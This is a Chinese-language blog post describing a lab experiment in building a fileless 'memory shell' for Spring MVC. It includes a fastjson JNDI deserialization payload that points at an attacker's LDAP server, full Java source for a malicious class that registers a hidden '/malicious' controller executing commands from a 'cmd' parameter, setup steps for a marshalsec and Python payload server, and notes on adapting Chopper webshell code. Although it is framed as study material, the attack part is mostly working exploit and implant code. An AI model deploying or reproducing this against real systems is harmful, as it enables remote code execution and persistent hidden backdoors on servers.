針對spring mvc的controller記憶體馬-學習和實驗

bitterz發表於2021-05-28

1 基礎

實際上java記憶體馬的注入已經有很多方式了,這裡在學習中動手研究並寫了一款spring mvc應用的記憶體馬。一般來說實現無檔案落地的java記憶體馬注入,通常是利用反序列化漏洞,所以動手寫了一個spring mvc的後端,並直接給了一個fastjson反序列化的頁面,在假定的攻擊中,通過jndi的利用方式讓web端載入惡意類,注入controller。一切工作都是站在巨人的肩膀上,參考文章均在最後列出。

1.1 fastjson反序列化和JNDI

關於fastjson漏洞產生的具體原理已有很多分析文章,這裡使用的是fastjson1.24版本,poc非常簡單

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

當web端使用fastjson對上面的json進行反序列化時,受到@type註解的指示,會通過反射建立com.sun.rowset.JdbcRowSetImpl類的物件,基於fastjson的機制web端還會自動呼叫這個物件內部的set方法,最後觸發JdbcRowSetImpl類中的特定set方法,訪問dataSourceName指定的服務端,並下載執行服務端指定的class檔案,細節這裡不做更詳細的展開。

1.2 向spring mvc注入controller

學習了listener、filter、servlet的記憶體馬後,想到看一看spring相關的記憶體馬,但沒有發現直接給出原始碼的controller型記憶體馬,所以學習並動手實現了一下。

首先站在巨人的肩膀上,可以知道spring mvc專案執行後,仍然可以動態新增controller。普通的controller寫法如下

通過@RequestMapping註解標明url和請求方法,編譯部署後,spring會根據這個註解註冊好相應的controller。動態注入controller的核心步驟如下

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring內部方法獲取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 從context中獲得 RequestMappingHandlerMapping 的例項
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通過反射獲得自定義 controller 中的 Method 物件
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定義訪問 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在記憶體中動態註冊 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}
  • 步驟1中的context可以理解為web端處理這個請求時,當前執行緒內所擁有的各種環境資訊和資源

  • 步驟2中獲取的mappingHandlerMapping物件是用於註冊controller的

  • 步驟3中的反射是為了獲得test這個Method物件,以便動態註冊controller時,告知接收到給定url路徑的請求後,用那個Method來處理,其中InjectToController類就是我們的惡意類

  • 步驟4定義的url物件是為了指定注入url,這個url就是我們的記憶體馬路徑

  • 步驟5是告知注入的url允許的請求方法

  • 步驟6中RequestMappingInfo填入的資訊類似於@RequestMapping註解中的資訊,即url、允許的請求方法等。是真正註冊controller的步驟

  • InjectToController這個類就是我們的惡意類,其中定義了test方法,這個方法記憶體在執行命令,當然也可以替換成冰蠍、哥斯拉的webshell核心程式碼,以便使用這兩個工具。InjectToController的完整程式碼在後面的章節可見

1.3 獲取request和response

常用的jsp一句話webshell程式碼如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由於jsp檔案被執行時,會自動獲得了request這個資源,所以一句話木馬不需要考慮如何獲取request這個物件。但在我們注入controller的流程中,惡意java類的編譯是由攻擊者完成的,web端直接執行編譯好的class檔案,顯然不可能像上面圖片中用註解的方式在讓test方法(InjectToController中的)的引數自帶request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通過spring的內部方法獲取到request和response物件

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();    

如果spring mvc專案部署在tomcat下,也可以用針對tomcat獲取requeset的方法,例如從ThreadLocal、Mbean和Thread.getCurrentThread獲取(後方參考文獻中已給出)

1.4 阻止重複新增controller (非必須)

經過除錯發現,上面獲取的mappingHandlerMapping中有一個mappingRegistry成員物件,而該物件下的urlLookup屬性儲存了已經註冊的所有url路徑,對mappingHandlerMapping進一步後發現,以上物件和屬性都是私有的,且mappingRegistry並非mappingHandlerMapping中建立的,而是來自於基類AbstractHandlerMethodMapping。

所以對AbstractHandlerMethodMapping的原始碼進行了一番檢視,發現通過其getMappingRegistry方法可以獲取mappingRegistry,而urlLookup是其內部類MappingRegistry的私有屬性,可以通過反射獲取。

反射獲取urlLookup和判斷我們給定的url是否被註冊的程式碼塊如下

// 獲取abstractHandlerMethodMapping物件,以便反射呼叫其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射呼叫getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射獲取urlLookup屬性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判斷我們想要注入的路徑是否被已經存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url已存在");
        return;
    }
}

2 實驗

2.1 搞個spring mvc的測試環境

這裡用idea做了一個maven+spring mvc+tomcat的測試環境,方便隨時換spring、fastjson和tomcat的版本。這個Web應用的功能有兩個:

  • /home/postjson,可以輸入json並POST給/home/readjson
  • /home/readjson,使用fastjson解析json,觸發反序列化的rce

2.2 惡意類原始碼

通過JNDI注入讓服務端執行的程式碼如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一個建構函式
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的例項 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可選步驟,判斷url是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url已存在");
                return;
            }
        }
        // 可選步驟,判斷url是否存在
        // 2. 通過反射獲得自定義 controller 中test的 Method 物件
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定義訪問 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在記憶體中動態註冊 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 建立用於處理請求的物件,加入“aaa”引數是為了觸發第二個建構函式避免無限迴圈
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二個建構函式
    public InjectToController(String aaa) {}
	// controller指定的處理方法
    public void test() throws  IOException{
        // 獲取request和response物件
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 獲取cmd引數並執行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  • 由於fastjson反序列化時,自動下載並執行編譯好的class檔案,所以要在建構函式中寫入註冊controller的步驟
  • 反序列化時自動觸發的建構函式是第一個建構函式,因為沒有帶引數
  • 由於registerMapping方法註冊controller時需要給一個物件和這個物件內部的處理方法,而web端只下載了InjectToController這個類,再來一次JNDI去獲取一個惡意類屬實麻煩,所以用了InjectToController injectToController = new InjectToController("aaa");,這樣就會進入第二個建構函式,而不會進入第一個建構函式無限迴圈。

2.3 測試

啟動spring mvc專案,訪問/專案/malicious路徑,返回404

使用marshalsec開一個ldap的服務,並指定/Exploit這個reference對應的路徑為192.168.x.x:8090/#InjectToController,再用python開一個web檔案伺服器

編譯InjectToController.java,將編譯好的class檔案放到python開的web檔案服務根目錄下,訪問/專案/home/postjson,並提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

payload提交後,會被fastjson進行反序列化,在這個過程中會觸發JdbcRowSetImpl中的connect函式,並根據給定的dataSourceName發起LDAP請求,從開啟的給定的LDAP服務端(1389埠)獲得惡意類的地址,再去下載並執行惡意類(8090埠),可以看到payload攻擊成功了

訪問/malicious這個uri確定一下

2.4 注入菜刀程式碼

只需要找一匹穩定的jsp菜刀馬,稍加改造:

  • 把菜刀馬的函式定義放在惡意類中
  • 在注入的controller程式碼中加入菜刀馬的判斷和執行部分(上面的test方法中)
  • 注意jsp菜刀馬最後的out.print(sb.toString());改為response.getWriter().write(sb.toString());response.getWriter().flush();

2.5 注入冰蠍程式碼

待施工

參考文獻

https://www.anquanke.com/post/id/198886#h3-12

https://www.jianshu.com/p/89b0a7c11ee2

https://github.com/mbechler/marshalsec

https://lalajun.github.io/2019/12/30/java反序列化-fastjson/

相關文章